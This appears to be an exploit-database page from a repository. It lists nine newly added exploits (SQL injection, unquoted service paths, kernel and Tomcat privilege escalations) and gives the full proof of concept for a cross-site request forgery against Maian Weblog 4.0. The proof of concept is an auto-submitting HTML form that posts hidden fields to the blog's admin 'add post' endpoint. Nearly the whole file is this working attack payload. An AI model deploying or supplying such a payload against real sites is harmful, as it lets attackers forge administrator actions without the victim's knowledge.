a3dbf3113e
9 new exploits ShoreTel Connect ONSITE - Blind SQL Injection Leap Service - Unquoted Service Path Privilege Escalation Wacom Consumer Service - Unquoted Service Path Privilege Escalation Foxit Cloud Update Service - Unquoted Service Path Privilege Escalation Apache Tomcat 8/7/6 (RedHat-Based Distros) - Privilege Escalation Linux Kernel 4.6.2 (Ubuntu 16.04.1) - IP6T_SO_SET_REPLACE Privilege Escalation Zend Studio IDE 13.5.1 - Insecure File Permissions Privilege Escalation HP Client - Automation Command Injection / Remote Code Execution Maian Weblog 4.0 - Cross-Site Request Forgery (Add New Post)
35 lines
1 KiB
HTML
Executable file
35 lines
1 KiB
HTML
Executable file
# Exploit Title : Maian Weblog 4.0 - Cross-Site Request
|
|
Forgery ( Add New Post)
|
|
# Author : Besim
|
|
# Google Dork : -
|
|
# Date : 10/10/2016
|
|
# Type : webapps
|
|
# Platform : PHP
|
|
# Vendor Homepage : http://www.maianweblog.com
|
|
# Software link :
|
|
http://www.hotscripts.com/listings/jump/download/21864
|
|
|
|
|
|
|
|
|
|
*########################### CSRF PoC ###############################*
|
|
|
|
|
|
<html>
|
|
<!-- CSRF PoC -->
|
|
<body>
|
|
<form action="http://site_name/mainb/publish/admin/index.php?cmd=add"
|
|
method="POST">
|
|
<input type="hidden" name="process" value="1" />
|
|
<input type="hidden" name="title" value="Murat" />
|
|
<input type="hidden" name="comments"
|
|
value="Muratttttt <br />" />
|
|
<input type="submit" value="Submit request" />
|
|
</form>
|
|
<script>
|
|
document.forms[0].submit();
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
*####################################################################*
|